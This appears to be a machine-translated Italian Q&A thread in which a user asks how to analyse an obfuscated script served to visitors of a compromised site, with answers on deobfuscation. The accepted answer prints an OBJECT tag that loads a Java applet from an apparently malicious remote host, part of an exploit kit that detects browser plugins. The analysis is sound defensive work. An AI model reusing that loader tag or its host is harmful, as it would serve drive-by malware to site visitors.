Identifica il codice in esecuzione sul sito web

Question

Identifica il codice in esecuzione sul sito web

#1 da (4 voti)
#2 da (0 voti)

2

Normalmente non mi occupo di problemi di sicurezza in Internet, ma questo mi ha interessato.

Il problema riguarda un sito specifico, diciamo example.com e il modo in cui lo ha visitato.

Se l'indirizzo è digitato direttamente nel browser, il sito web funziona correttamente.

Se l'indirizzo viene cercato in google / bing / yahoo e seguito, viene fornito un reindirizzamento 302 che conduce a: un sito di gioco d'azzardo, una pagina di errore o una pagina Web che contiene solo uno script codificato.

La mia domanda qui è, come posso identificare ciò che questo script sta facendo?

Lo script catturato può essere trovato nel seguente contenitore della pasta. link

javascript web-browser exploit

posta Danial Wayne 22.05.2013 - 00:55

fonte

2 risposte

0

Sembra che il Javascript che stai guardando sia offuscato. Questa è una pratica generale se non vuoi che i tuoi utenti sappiano cosa sta facendo il tuo script. La mia ipotesi è che potrebbe essere guardando l'intestazione di riferimento e se è da uno di quei siti che dici, semplicemente lo reindirizza. Ciò dovrebbe idealmente essere fatto sul lato server, ma anche in questo caso è piuttosto semplice da superare e andare alla pagina corretta.

risposta data 22.05.2013 - 01:21

fonte

Leggi altre domande sui tag javascript web-browser exploit

Condivise e credenziali univoche per gli account dei fornitori di supporto remoto AES + CBC per crittografare singoli file locali, fisso IV?

score 4 · Accepted Answer

È possibile sostituire attentamente chiamate e proprietà non sicure come eval e innerHTML e quindi eseguire lo script. Per sicurezza, disattiva tutti i plugin del browser. Per essere più sicuro, puoi farlo in una macchina virtuale.

L'ho fatto per il tuo file paticolare. Succede:

Un file Java viene caricato utilizzando <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>
Questo script è caricato. È una libreria di rilevamento delle versioni dei plug-in del browser con un carico utile che verifica la versione e carica file diversi a seconda dei plug-in. Qui è una versione abbellita senza la libreria.